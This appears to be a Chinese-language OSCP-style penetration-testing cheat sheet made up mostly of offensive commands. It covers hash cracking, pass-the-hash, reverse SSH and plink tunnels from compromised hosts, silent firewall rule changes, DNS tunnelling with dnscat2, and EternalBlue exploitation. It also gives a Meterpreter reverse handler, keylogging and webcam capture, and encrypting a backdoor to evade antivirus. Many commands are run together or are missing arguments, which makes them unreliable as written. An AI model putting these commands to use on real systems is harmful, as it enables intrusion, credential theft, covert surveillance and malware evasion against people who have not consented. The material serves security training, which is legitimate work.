hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt

**样本哈希**

[John的样本哈希](http://openwall.info/wiki/john/sample-hashes)

**识别哈希**

使用 `hash-identifier`工具识别哈希类型。

**破解Linux哈希**

要破解Linux哈希,首先需要使用 `unshadow`合并 `passwd`和 `shadow`文件:

unshadow passwd-file.txt shadow-file.txt

unshadow passwd-file.txt shadow-file.txt > unshadowed.txt

**John the Ripper - 密码哈希破解**

1. 破解通过 `pwdump`导出的哈希文件:

john $ip.pwdump

2. 使用 `rockyou.txt`字典进行破解:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

3. 启用破解规则并使用字典:

john --rules --wordlist=/usr/share/wordlists/rockyou.txt

4. 使用合并后的 `unshadowed.txt`文件进行破解:

john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

5. 强制破解 DES 加密密码:

john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt

6. 强制进行 DES 加密的暴力破解:

john --format=descrypt hash --show

**Windows中的传递哈希**

使用Metasploit来利用实验室中的一个SMB服务器,转储密码哈希并尝试对另一个系统进行传递哈希攻击:

export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896pth-winexe -U administrator //$ip cmd

**网络、横向渗透和隧道**

**端口转发**– 在指定的IP地址和端口上接收流量并将其重定向到不同的IP地址和端口

apt-get install rinetd

查看 `/etc/rinetd.conf`文件配置:

bindadress bindport connectaddress connectportw.x.y.z 53 a.b.c.d 80

**SSH 本地端口转发**: 支持双向通信通道

ssh -L ::

**SSH 远程端口转发**: 适用于在内部非可路由网络上开启远程shell

ssh -R ::

**SSH 动态端口转发**: 在本地攻击机上创建一个SOCKS4代理,所有传入的流量都将隧道化到DMZ网络中的任何主机的任何端口

ssh -D -p

**Proxychains**\- 在外部计算机上执行 nmap 扫描,通过 DMZ 进行

从已控制的机器上创建反向 SSH 隧道,使用端口:2222

ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222::22 root@

**创建动态应用级端口转发,端口 8080 通过 2222 转发**

ssh -f -N -D :8080 -p 2222 hax0r@

**利用 SSH SOCKS 服务器通过 Proxychains 执行 Nmap 扫描**

proxychains nmap --top-ports=20 -sT -Pn $ip/24

**HTTP 隧道**

nc -vvn $ip 8888

**流量封装**\- 绕过深度数据包检测

**HTTP 隧道**

在服务器端:

sudo hts -F :80

在客户端:

sudo htc -P -F :80 stunnel

**隧道远程桌面(RDP)从已控制的Windows机器到你的网络**

**通过端口 22 隧道**

plink -l root -pw pass -R 3389::3389

端口 22 被阻塞?试试端口 80 或 443?

plink -l root -pw 23847sd98sdf987sf98732 -R 3389::3389 -P80

**使用 HTTP 隧道(绕过深度数据包检测)从已控制的Windows机器隧道 RDP**

在Windows机器上添加所需的防火墙规则,无需提示用户

netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yesnetsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

启动 HTTP 隧道客户端:

httptunnel_client.exe

通过连接到 localhost 端口 3000 创建 HTTP 反向 shell

plink -l root -pw 23847sd98sdf987sf98732 -R 3389::3389 -P 3000

**VLAN 跳跃**

git clone https://github.com/nccgroup/vlan-hopping.gitchmod 700 frogger.sh./frogger.sh

**VPN 黑客攻击**

识别 VPN 服务器:

./udp-protocol-scanner.pl -p ike $ip

扫描范围内的 VPN 服务器:

./udp-protocol-scanner.pl -p ike -f ip.txt

使用 IKEForce 枚举或字典攻击 VPN 服务器:

pip install pyipgit clone https://github.com/SpiderLabs/ikeforce.git

使用 IKEForce 进行 IKE VPN 枚举:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

使用 IKEForce 进行 IKE VPN 暴力破解:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

使用 ike-scan 捕获 PSK 哈希:

ike-scanike-scan TARGET-IPike-scan -A TARGET-IPike-scan -A TARGET-IP --id=myid -P TARGET-IP-keyike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

使用 psk-crack 破解 PSK 哈希:

psk-crack hash-file.txtpskcrackpsk-crack -b 5 TARGET-IPkeypsk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134keypsk-crack -d /path/to/dictionary-file TARGET-IP-key

**PPTP 黑客攻击**

识别 PPTP,监听在 TCP 端口 1723:

NMAP PPTP 指纹识别:

nmap –Pn -sV -p 1723 TARGET(S)

PPTP 字典攻击:

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

**端口转发/重定向**

**PuTTY 链接隧道 - SSH 隧道**

将远程端口转发到本地地址:

plink.exe -P 22 -l root -pw "1337" -R 445::445

**SSH 横向渗透**

从一个网络通过 SSH 渠道连接到另一个网络:

ssh -D :1010 -p 22 user@

**DNS 隧道**

dnscat2 支持“下载”和“上传”命令,用于从目标机器获取文件(数据和程序)并发送到目标机器。

**攻击机安装**

apt-get updateapt-get -y install ruby-dev git make g++gem install bundlergit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/serverbundle install

运行 dnscat2:

ruby ./dnscat2.rbdnscat2> New session established: 1422dnscat2> session -i 1422

**目标机器**:[下载 dnscat2](https://downloads.skullsecurity.org/dnscat2/)

[dnscat2 Powershell 版本](https://github.com/lukebaggett/dnscat2-powershell/)

使用 dnscat:

dnscat --host

**Metasploit 框架**

参见 Metasploit Unleashed 课程中的基础知识部分

使用 Metasploit GitHub 框架源代码搜索漏洞:

[https://github.com/rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)

将它们翻译成适用于 OSCP 实验室或考试的版本。

**Metasploit**

MetaSploit 需要 PostgreSQL

启动 PostgreSQL:

systemctl start postgresql

在启动时启用 PostgreSQL:

systemctl enable postgresql

**MSF 语法**

启动 Metasploit:

msfconsole

以安静模式启动 Metasploit:

msfconsole -q

显示命令帮助:

show -h

显示辅助模块:

show auxiliary

使用模块:

use auxiliary/scanner/snmp/snmp_enumuse auxiliary/scanner/http/webdav_scanneruse auxiliary/scanner/smb/smb_versionuse auxiliary/scanner/ftp/ftp_loginuse exploit/windows/pop3/seattlelab_pass

显示模块的基本信息:

info

显示模块的配置参数:

show options

为模块设置选项:

set RHOSTS 192.168.1.1-254set THREADS 10

运行模块:

run

执行一个漏洞利用:

exploit

搜索模块:

search type:auxiliary login

**Metasploit 数据库访问**

显示在 MSF 数据库中发现的所有主机:

hosts

扫描主机并将它们存储在 MSF 数据库中:

db_nmap

在 MSF 数据库中搜索特定端口的机器:

services -p 443

利用 MSF 数据库扫描 SMB 端口(自动补全 rhosts):

services -p 443 --rhosts

**分阶段和非分阶段**

非分阶段有效载荷 - 是一次性发送的完整有效载荷。

分阶段 - 分两部分发送。由于没有足够的缓冲空间或需要绕过防病毒软件。

**MS 17-010 - EternalBlue**

你可能会发现一些主机易受 MS17-010(即 EternalBlue)攻击的影响。尽管它不是课程的官方部分,但可以利用该漏洞获得 Windows 主机的 SYSTEM 级别访问。我使用内置的 Metasploit EternalBlue 模块时运气不佳,但发现 elevenpaths 版本工作得更加可靠。以下是安装该模块的说明,摘自 YouTube 视频:[https://www.youtube.com/watch?v=4OHLor9VaRI](https://www.youtube.com/watch?v=4OHLor9VaRI)。

第一步是配置 Kali 使其支持 wine 32 位:

dpkg --add-architecture i386 && apt-get update && apt-get install wine32rm -r ~/.wine wine cmd.exe exit

下载漏洞利用库:[https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit](https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit)

将漏洞文件移动到 `/usr/share/metasploit-framework/modules/exploits/windows/smb`或 `~/.msf4/modules/exploits/windows/smb`

启动 metasploit 控制台

我发现使用 spoolsv.exe 作为 `PROCESSINJECT`可以在 OSCP 主机上获得效果。

use exploit/windows/smb/eternalblue_doublepulsarmsf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10RHOST => 10.10.10.10msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exePROCESSINJECT => spoolsv.exemsf exploit(eternalblue_doublepulsar) > run

**实验 Meterpreter**

从 Meterpreter Shell 获取系统信息:

sysinfo

从 Meterpreter Shell 获取用户 ID:

getuid

搜索文件:

search -f pass.txt

上传文件:

upload /usr/share/windows-binaries/nc.exe c:\Users\Offsec

下载文件:

download c:\Windows\system32\calc.exe /tmp/calc.exe

从 Meterpreter Shell 调用命令行:

shell

退出 Meterpreter Shell:

exit

**Metasploit Exploit Multi Handler**

使用 `multi/handler`接受传入的 `reverse_https_meterpreter`有效载荷:

use exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_httpsset LHOST $ipset LPORT 443exploit[*] Started HTTPS reverse handler on https://$ip:443/

**构建自己的 MSF 模块**

mkdir -p ~/.msf4/modules/exploits/linux/misccd ~/.msf4/modules/exploits/linux/misccp /usr/share/metasploit-framework/modules/exploits/linux/misc/gld_postfix.rb ./crossfire.rbnano crossfire.rb

**Metasploit 后渗透操作**(可用选项取决于操作系统和 Meterpreter 的功能)

* **download**:下载文件或目录

* **upload**:上传文件或目录

* **portfwd**:将本地端口转发到远程服务

* **route**:查看并修改路由表

* **keyscan\_start**:开始捕获按键

* **keyscan\_stop**:停止捕获按键

* **screenshot**:抓取交互桌面的屏幕截图

* **record\_mic**:从默认麦克风录制音频,持续 X 秒

* **webcam\_snap**:从指定的网络摄像头拍摄快照

* **getsystem**:尝试提升权限为本地系统权限

* **hashdump**:转储 SAM 数据库的内容

**Meterpreter 后渗透特性**

创建一个 Meterpreter 背景会话:

background

**绕过杀毒软件**

**使用软件保护器加密已知恶意软件**

一个开源加密工具,叫做 Hyperion:

cp /usr/share/windows-binaries/Hyperion-1.0.zipunzip Hyperion-1.0.zipcd Hyperion-1.0/i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.execp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .wine hyperion.exe ../backdoor.exe ../crypted.exe